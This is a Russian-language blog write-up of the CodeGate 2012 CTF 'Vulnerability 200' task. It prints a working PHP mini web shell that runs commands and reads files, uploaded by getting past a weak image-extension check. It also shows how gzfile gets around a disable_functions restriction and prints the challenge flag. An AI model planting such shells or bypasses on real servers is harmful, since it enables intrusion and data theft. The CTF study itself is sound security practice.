Дмитрий DarkByte Москин

Мой блог, да.
logo

Vulnerability 200 - CodeGate 2012 write-up

Опубликовано 25.02.2012 автором Дмитрий Москин
Vulnerability #2
Get a shell if u can

Тоже не сложный таск, но пришлось изрядно погуглить. Этот таск встречает нас формой загрузки изображений, при этом принимаются только .jpg картинки. Но, как обычно, проверка на расширение файла не корректная.

Загружаем файл image.jpg.php с мини шёллом
if($_GET['f'])echo file_get_contents($_GET['f']);else
if($_GET['d'])var_dump(scandir($_GET['d']));else
if($_GET['s'])var_dump(system($_GET['s']));else
if($_GET['i'])include($_GET['i']);else
phpinfo();

Смотрим листинг директорий, ничего интересного ни в текущей папке, ни в корне сайта не находим. Пытаемся прочитать файл index.php и получаем сообщение о том, что функция file_get_contents отключена.
Warning: file_get_contents() has been disabled for security reasons in...

Смотрим phpinfo и видим:
disable_functions: basename,chgrp,chmod,chown,clearstatcache,copy,delete,dirname,disk_free_space,disk_total_space,diskfreespace,fclose,feof,fflush,fgetc,fgetcsv,fgets,fgetss,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,flock,fnmatch,fopen,fpassthru,fputcsv,fputs,fread,fscanf,fseek,fstat,ftell,ftruncate,fwrite,glob,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,lchgrp,lchown,link,linkinfo,lstat,mkdir,parse_ini_file,parse_ini_string,pathinfo,pclose,popen,readfile,readlink,realpath_ cache_ get,realpath_ cache_ size,realpath,rename,rewind,rmdir,set_file_buffer,stat,symlink,tempnam,tmpfile,touch,umask,unlink

Кроме того, запрещены системные вызовы. Печалимся, но продолжаем искать нужный файл, и находим его на рабочем столе:
../../../../../../Users/codegate2/Desktop/Codegate 2012 Key.txt

Название подсказывает, что либо это ключ к винде, либо флаг к таску, надеемся на лучшее и думаем, как же его прочитать.

Попытка сделать include не помогает, возвращает пустой результат. После долгих поисков вспоминаем про замечательные функции zlib, которые умеют читать не только запакованные файлы (если файл не запакован, то просто возвращается его содержимое).

Дописываем к шёллу работу с функцией gzfile и успешно получаем флаг:
<?
/*
Good Job !
Key is 16b7a4c5162d4dee6a0a6286cd475dfb
*/
?>

А заодно и понимаем, почему include возвращал пустую страницу.